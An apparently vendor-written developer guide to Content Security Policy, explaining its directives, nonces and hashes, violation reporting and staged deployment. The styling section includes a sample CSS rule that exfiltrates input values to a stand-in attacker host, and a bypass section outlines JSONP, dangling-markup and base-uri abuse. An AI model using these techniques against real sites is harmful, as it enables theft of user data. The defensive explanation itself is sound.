What Is Content Security Policy? CSP Explained for Developers
A complete technical guide to Content Security Policy (CSP): how HTTP headers control what resources a browser loads, and how to implement, test, and maintain an effective CSP.
Short answer
Content Security Policy (CSP) is an HTTP response header that tells the browser which origins and sources are allowed to load and execute resources on a given page. It prevents the browser from treating attacker-controlled content as legitimate code, even when an injection vulnerability exists.
The idea in one minute
Imagine you own a theater. Anyone with a ticket can walk through the front doors — that's the open web. But inside the theater, you have strict rules: only employees in uniform may enter the control booth, only the stage crew touches the lighting panel, and the only food allowed in the auditorium is what's sold at your concession stand.
Without those rules, a ticket holder could wheel in a deep-fryer from the street, climb into the booth, and start flashing strobes mid-scene. The theater is still standing, but the performance is ruined.
CSP is the usher who enforces those rules. Before the browser renders a page, it checks a manifest written by the developer: scripts only from this domain, styles only from these two, form submissions only to this endpoint, everything else gets blocked. A script tag injected via XSS is a street-food vendor in the aisle — CSP refuses it entry.
How CSP actually works
CSP is delivered as an HTTP response header or a <meta> tag:
Content-Security-Policy: default-src 'self'; script-src 'self' https://analytics.example; img-src 'self' data:; style-src 'self' 'unsafe-inline'
When the browser receives this header, it enforces every directive before rendering. Any resource that violates a directive is blocked before it can execute or render. The browser does not stop loading the page — it silently drops prohibited resources and, optionally, sends a violation report to a URL you specify.
The policy is evaluated per-page, per-navigation, and applies to the entire document including iframes created by the page. Each directive is a bucket of allowlisted source expressions.
The directive model
CSP directives fall into categories:
| Category | Key directives | What they control |
|---|---|---|
| Fetch directives | default-src, script-src, style-src, img-src, font-src, connect-src, media-src, object-src, frame-src | Which URLs may load resources of each type |
| Document directives | base-uri, sandbox | Document-level restrictions (e.g., where <base> may point) |
| Navigation directives | form-action, frame-ancestors, navigate-to | Where the page may send forms, be embedded, or navigate |
| Reporting directives | report-uri, report-to | Where violation reports are POSTed |
default-src acts as a fallback for every fetch directive that is not explicitly set. If you set default-src 'self' and omit script-src, then scripts also default to 'self'. If you set script-src explicitly, default-src no longer applies to scripts.
default-src: the safety net
default-src is the baseline. Every fetch directive you leave out inherits its value from default-src. A minimal policy:
Content-Security-Policy: default-src 'self'
This says: all resources must come from the origin of the document. No inline scripts, no external CDNs, no data: URIs in most contexts, no eval(). It is restrictive and effective — and also the point where most teams realize their application loads third-party resources everywhere.
Common extension:
Content-Security-Policy: default-src 'self'; img-src 'self' https://images.example data:; font-src 'self' https://fonts.gstatic.com
Images and fonts get explicit permissive sources; everything else stays locked to 'self'.
script-src: the crown jewel
script-src controls JavaScript execution. This is the most important directive for XSS mitigation and also the one most frequently misconfigured.
Content-Security-Policy: default-src 'self'; script-src 'self'
Valid sources include:
| Source expression | Meaning |
|---|---|
| 'self' | The origin of the document |
| https://trusted.example | A specific origin (scheme + host; optional port) |
| 'nonce-{random}' | A one-time cryptographic nonce matched to <script nonce="..."> attributes |
| '{hash}' | The SHA-256/384/512 hash of a specific script's content |
| 'strict-dynamic' | Trust propagates to scripts loaded by an already-trusted script |
| 'unsafe-inline' | Allows all inline scripts — largely defeats CSP's XSS protection |
| 'unsafe-eval' | Allows eval(), setTimeout(string), and similar dynamic code execution |
The unsafe-inline problem
'unsafe-inline' exempts inline script blocks (<script>code</script> and event handlers like onclick) from CSP enforcement. A policy with script-src 'self' 'unsafe-inline' will block externally hosted scripts from unknown origins, but it will allow any inline script — including one injected via stored or reflected XSS.
An attacker who finds an injection point in a page with 'unsafe-inline' still executes arbitrary JavaScript. The policy blocks eval() and external script loads from arbitrary origins, which is still meaningful defense-in-depth, but it is not a reliable XSS mitigation.
The current best practice is to avoid 'unsafe-inline' entirely. Use nonces or hashes instead:
Content-Security-Policy: default-src 'self'; script-src 'nonce-a1b2c3d4e5'
<script nonce="a1b2c3d4e5">
// This inline script is allowed because its nonce matches
</script>
<script nonce="invalid">
// This inline script is blocked — nonce does not match
</script>
An attacker cannot guess the nonce if it is generated per-response and unpredictable. This gives you safe inline scripts without weakening the policy.
style-src: stylesheets and visual risks
style-src controls which stylesheets and inline styles the page accepts. Its source expressions mirror script-src:
Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'
The default in most browsers, when style-src is absent but default-src is set, is to block inline styles unless 'unsafe-inline' is present. This is a practical tension: CSS frameworks and component libraries routinely use inline style attributes (style="color: red"), so many production policies include 'unsafe-inline' for styles.
The risk is lower than 'unsafe-inline' for scripts — CSS injection is generally not a code-execution vector — but it is not zero. Injected CSS can exfiltrate data via attribute selectors + background-image URLs (input[value^="a"] { background: url(https://attacker.example/exfil?a) }). Where practical, use nonces or hashes for <style> blocks, and prefer style-src 'self' with no inline override.
frame-ancestors: clickjacking defense
frame-ancestors controls which origins may embed the current page in a <frame>, <iframe>, <object>, or <embed>. This replaces the older X-Frame-Options header with a more flexible policy:
Content-Security-Policy: frame-ancestors 'none' # Block all embedding
Content-Security-Policy: frame-ancestors 'self' # Same-origin only
Content-Security-Policy: frame-ancestors https://partner.example # Specific trusted origin
frame-ancestors is the recommended clickjacking defense. X-Frame-Options: DENY or SAMEORIGIN still works, but frame-ancestors offers multiple allowed origins and is enforced as part of the CSP, not a separate header.
Note that frame-src (which controls what iframes this page can load) is different from frame-ancestors (which controls where this page can be embedded). They are independent directives.
report-uri and report-to: the observation layer
CSP can tell you what it blocked without blocking anything. The Content-Security-Policy-Report-Only header lets you test a policy and receive violation reports while allowing all resources to load:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
Violations are POSTed as JSON to the report-uri endpoint:
{
"csp-report": {
"document-uri": "https://example.com/dashboard",
"violated-directive": "default-src",
"blocked-uri": "https://untrusted-cdn.example/script.js",
"effective-directive": "script-src",
"original-policy": "default-src 'self'"
}
}
CSP Level 2 introduced report-uri; CSP Level 3 introduced the Report-To header and report-to directive, which batch reports into a group with configurable endpoints. The two can coexist, though browsers are converging on the Level 3 model.
Always deploy Report-Only before enforcement. Collect violations for at least one full release cycle to discover what your application actually loads in production. Blocking a resource you did not know about (a payment widget, a support chat script, an analytics call) can break features silently.
Bypass patterns (briefly, honestly)
No mitigation is absolute. CSP bypasses fall into a few categories:
-
JSONP endpoints on allowed origins: if your policy allows
https://trusted.example, and that origin hosts a JSONP endpoint, an attacker can usehttps://trusted.example/jsonp?callback=alertto execute arbitrary JavaScript under the trusted origin's authority. Audit every allowed origin for JSONP, CORS wildcards, and user-upload reflection. -
Dangling markup injection: if an attacker can inject an unclosed HTML tag before a CSP-blocked script, they may exfiltrate content without JavaScript at all. CSP does not prevent HTML injection — it prevents script execution.
img-srcandbase-uritightening limits the exfiltration surface. -
CDN angular expressions: legacy AngularJS templates on a CDN inside an allowed origin can be used to evaluate arbitrary JavaScript expressions in older Angular versions.
script-srcwith a nonce or hash prevents this. -
'unsafe-inline'policies: as discussed, this is not a bypass but a configuration failure. Any injected script executes. If you must use'unsafe-inline', acknowledge that your CSP is not an XSS mitigation — it is a defense against external script injection only. -
base-urimanipulation: withoutbase-uri 'self', an attacker can inject a<base>tag pointing to their origin, causing all relative-src scripts to load from the attacker's server. Always setbase-uri 'self'orbase-uri 'none'.
The honest truth: CSP is a powerful layer, but it is not a substitute for output encoding. A determined attacker with a script injection in a page that uses nonces or hashes can still attempt DOM clobbering, prototype pollution, or other client-side attacks that do not depend on injecting a fresh <script> tag. CSP raises the bar dramatically; it does not eliminate it.
Implementation strategy
-
Audit every resource the page loads. Use browser DevTools (Network tab, filtered by type) to catalog scripts, styles, fonts, images, frames, and XHR/fetch targets.
-
Start in Report-Only mode:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report -
Iterate on violations until the report endpoint sees only expected resources. Extend directives per-resource-type as needed (e.g.,
img-src 'self' data:for inline images). -
Add nonces or hashes for inline scripts and styles. Remove
'unsafe-inline'fromscript-src. -
Switch to enforcement on a staging environment. Monitor reports.
-
Deploy to production with a short rollout window and a rollback plan. Keep
report-uriactive to catch emergent violations.
CSP Levels (1, 2, 3)
CSP evolved across three W3C specifications, each adding directives and tightening the model:
-
CSP Level 1 (2015): foundational directives —
default-src,script-src,style-src,img-src,connect-src,font-src,object-src,media-src,frame-src,sandbox,report-uri. Nonces and hashes were not yet standardized. -
CSP Level 2 (2016): added
base-uri,form-action,frame-ancestors. Introduced standardized nonces ('nonce-...') and hashes ('sha256-...'). AddedContent-Security-Policy-Report-Onlyas a formal mechanism. -
CSP Level 3 (draft, broadly implemented): added
'strict-dynamic','unsafe-hashes',navigate-to,report-to(replacingreport-uriin modern browsers),worker-src,manifest-src,prefetch-src, and the concept of "effective directives" for violation reporting.
Browser support for Level 3 is widespread as of 2026, but report-uri remains the safer choice for multi-browser reporting due to its deeper compatibility.
Testing and maintenance
-
Use the violation report endpoint: aggregate reports into a dashboard or alerting pipeline. A sudden spike in blocked resources often means a CDN origin changed or a third-party widget updated its URLs.
-
Revisit quarterly: dependencies change, CDNs migrate, new team members add third-party scripts. Treat your CSP as a living configuration, not a one-time deploy.
-
Test in CI: inject a known-violating resource in a test page and assert that it is blocked. Regression-test the report endpoint itself.
-
Avoid
*in source expressions:img-src *allows loading images from any origin, which includes attacker-controlled servers. Be explicit about each origin.
Related topics
- CORS — determines whether cross-origin reads are allowed; CSP controls cross-origin loads. They work in different layers and are often confused. CORS is opt-in per-response (server decides); CSP is opt-in per-page (developer decides).
- XSS — CSP is a mitigation, not a cure. Fix XSS at the source (output encoding). Use CSP for depth.
- Clickjacking —
frame-ancestorsis the recommended defense. - HSTS / HPKP — other security headers that, with CSP, form a layered header-based security posture.
Nyxeara perspective
CSP is one of the most effective security headers a web application can deploy, but its value depends entirely on discipline. A policy with 'unsafe-inline' script-src that also allows a Google CDN containing JSONP endpoints is a theatrical usher who checks tickets at the lobby door but leaves the stage entrance unlocked.
The single highest-leverage CSP decision is eliminating 'unsafe-inline' from script-src in favor of nonces. This one change converts CSP from a circumstantial speed bump into a genuine exploit precondition that attackers must actively work around. The cost — generating a nonce per request and sprinkling a few attributes in templates — is negligible next to the defense it provides.
Deploy policies iteratively, always with report-only first, and treat violation reports as signal, not noise. A clean, specific policy on enforcement mode is a credential of engineering maturity.